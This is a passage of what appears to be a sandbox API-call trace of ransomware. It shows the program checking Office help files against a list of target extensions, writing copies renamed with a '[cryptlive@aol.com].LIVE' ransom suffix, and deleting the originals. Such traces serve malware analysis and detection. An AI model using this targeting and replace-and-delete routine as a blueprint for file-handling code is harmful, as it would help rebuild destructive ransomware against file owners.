lstrlenW (lpString=".dbf") returned 4 [0147.328] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0147.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] lstrlenW (lpString=".1cd") returned 4 [0147.328] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0147.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] lstrlenW (lpString=".jpg") returned 4 [0147.328] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0147.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.328] lstrlenW (lpString=".doc") returned 4 [0147.328] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0147.328] lstrlenW (lpString=".docx") returned 5 [0147.328] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0147.329] lstrlenW (lpString=".pdf") returned 4 [0147.329] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0147.329] lstrlenW (lpString=".xls") returned 4 [0147.329] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0147.329] lstrlenW (lpString=".xlsx") returned 5 [0147.329] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0147.329] lstrlenW (lpString=".ppt") returned 4 [0147.329] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0147.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.329] lstrlenW (lpString=".zip") returned 4 [0147.329] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0147.329] lstrlenW (lpString=".rar") returned 4 [0147.329] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0147.329] lstrlenW (lpString=".bz2") returned 4 [0147.329] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0147.329] lstrlenW (lpString=".7z") returned 3 [0147.329] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0147.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.329] lstrlenW (lpString=".dbf") returned 4 [0147.329] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0147.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.329] lstrlenW (lpString=".1cd") returned 4 [0147.329] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0147.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS") returned 63 [0147.329] lstrlenW (lpString=".jpg") returned 4 [0147.329] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0147.329] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0147.329] lstrlenW (lpString="WINPROJ.DEV_COL.HXC") returned 19 [0147.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.330] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=651) returned 1 [0147.330] CloseHandle (hObject=0x350) returned 1 [0147.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 0x20 [0147.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.330] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.330] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.331] GetLastError () returned 0x0 [0147.331] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x28b, lpOverlapped=0x0) returned 1 [0147.333] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x290, lpOverlapped=0x0) returned 1 [0147.333] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.334] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0147.334] SetEndOfFile (hFile=0x39c) returned 1 [0147.334] CloseHandle (hObject=0x39c) returned 1 [0147.334] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.334] SetEndOfFile (hFile=0x350) returned 1 [0147.339] CloseHandle (hObject=0x350) returned 1 [0147.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc")) returned 1 [0147.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.340] lstrlenW (lpString=".doc") returned 4 [0147.340] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0147.340] lstrlenW (lpString=".docx") returned 5 [0147.340] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0147.340] lstrlenW (lpString=".pdf") returned 4 [0147.340] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0147.340] lstrlenW (lpString=".xls") returned 4 [0147.340] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0147.340] lstrlenW (lpString=".xlsx") returned 5 [0147.340] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0147.340] lstrlenW (lpString=".ppt") returned 4 [0147.340] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0147.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.340] lstrlenW (lpString=".zip") returned 4 [0147.340] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0147.340] lstrlenW (lpString=".rar") returned 4 [0147.340] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0147.340] lstrlenW (lpString=".bz2") returned 4 [0147.340] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0147.340] lstrlenW (lpString=".7z") returned 3 [0147.340] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0147.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.340] lstrlenW (lpString=".dbf") returned 4 [0147.340] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0147.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.340] lstrlenW (lpString=".1cd") returned 4 [0147.340] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0147.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString=".jpg") returned 4 [0147.341] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0147.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString=".doc") returned 4 [0147.341] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0147.341] lstrlenW (lpString=".docx") returned 5 [0147.341] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0147.341] lstrlenW (lpString=".pdf") returned 4 [0147.341] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0147.341] lstrlenW (lpString=".xls") returned 4 [0147.341] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0147.341] lstrlenW (lpString=".xlsx") returned 5 [0147.341] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0147.341] lstrlenW (lpString=".ppt") returned 4 [0147.341] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0147.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString=".zip") returned 4 [0147.341] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0147.341] lstrlenW (lpString=".rar") returned 4 [0147.341] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0147.341] lstrlenW (lpString=".bz2") returned 4 [0147.341] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0147.341] lstrlenW (lpString=".7z") returned 3 [0147.341] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0147.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString=".dbf") returned 4 [0147.341] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0147.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString=".1cd") returned 4 [0147.341] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0147.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC") returned 67 [0147.341] lstrlenW (lpString=".jpg") returned 4 [0147.341] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0147.342] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0147.342] lstrlenW (lpString="WINPROJ.DEV_COL.HXT") returned 19 [0147.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.343] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=211) returned 1 [0147.343] CloseHandle (hObject=0x350) returned 1 [0147.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 0x20 [0147.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.343] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.343] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.344] GetLastError () returned 0x0 [0147.344] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xd3, lpOverlapped=0x0) returned 1 [0147.345] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0147.346] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.346] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0147.346] SetEndOfFile (hFile=0x39c) returned 1 [0147.346] CloseHandle (hObject=0x39c) returned 1 [0147.346] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.346] SetEndOfFile (hFile=0x350) returned 1 [0147.349] CloseHandle (hObject=0x350) returned 1 [0147.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 1 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString=".doc") returned 4 [0147.351] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0147.351] lstrlenW (lpString=".docx") returned 5 [0147.351] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0147.351] lstrlenW (lpString=".pdf") returned 4 [0147.351] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0147.351] lstrlenW (lpString=".xls") returned 4 [0147.351] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0147.351] lstrlenW (lpString=".xlsx") returned 5 [0147.351] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0147.351] lstrlenW (lpString=".ppt") returned 4 [0147.351] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString=".zip") returned 4 [0147.351] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0147.351] lstrlenW (lpString=".rar") returned 4 [0147.351] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0147.351] lstrlenW (lpString=".bz2") returned 4 [0147.351] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0147.351] lstrlenW (lpString=".7z") returned 3 [0147.351] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString=".dbf") returned 4 [0147.351] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString=".1cd") returned 4 [0147.351] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString=".jpg") returned 4 [0147.351] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.352] lstrlenW (lpString=".doc") returned 4 [0147.352] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0147.352] lstrlenW (lpString=".docx") returned 5 [0147.352] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0147.352] lstrlenW (lpString=".pdf") returned 4 [0147.352] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0147.352] lstrlenW (lpString=".xls") returned 4 [0147.352] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0147.352] lstrlenW (lpString=".xlsx") returned 5 [0147.352] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0147.352] lstrlenW (lpString=".ppt") returned 4 [0147.352] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0147.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.352] lstrlenW (lpString=".zip") returned 4 [0147.352] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0147.352] lstrlenW (lpString=".rar") returned 4 [0147.352] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0147.352] lstrlenW (lpString=".bz2") returned 4 [0147.352] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0147.352] lstrlenW (lpString=".7z") returned 3 [0147.352] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0147.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.352] lstrlenW (lpString=".dbf") returned 4 [0147.352] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0147.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.352] lstrlenW (lpString=".1cd") returned 4 [0147.352] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0147.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0147.353] lstrlenW (lpString=".jpg") returned 4 [0147.353] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0147.353] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0147.353] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0147.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.354] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=114) returned 1 [0147.354] CloseHandle (hObject=0x350) returned 1 [0147.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 0x20 [0147.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.355] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.355] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0147.356] GetLastError () returned 0x0 [0147.356] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x72, lpOverlapped=0x0) returned 1 [0147.357] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x80, lpOverlapped=0x0) returned 1 [0147.357] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.357] WriteFile (in: hFile=0x39c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0147.358] SetEndOfFile (hFile=0x39c) returned 1 [0147.358] CloseHandle (hObject=0x39c) returned 1 [0147.358] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.358] SetEndOfFile (hFile=0x350) returned 1 [0147.360] CloseHandle (hObject=0x350) returned 1 [0147.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 1 [0147.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.361] lstrlenW (lpString=".doc") returned 4 [0147.361] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.361] lstrlenW (lpString=".docx") returned 5 [0147.361] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.361] lstrlenW (lpString=".pdf") returned 4 [0147.361] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.361] lstrlenW (lpString=".xls") returned 4 [0147.361] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.361] lstrlenW (lpString=".xlsx") returned 5 [0147.361] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.361] lstrlenW (lpString=".ppt") returned 4 [0147.361] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString=".zip") returned 4 [0147.362] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.362] lstrlenW (lpString=".rar") returned 4 [0147.362] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.362] lstrlenW (lpString=".bz2") returned 4 [0147.362] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.362] lstrlenW (lpString=".7z") returned 3 [0147.362] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString=".dbf") returned 4 [0147.362] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString=".1cd") returned 4 [0147.362] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0147.362] lstrlenW (lpString=".jpg") returned 4 [0147.362] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 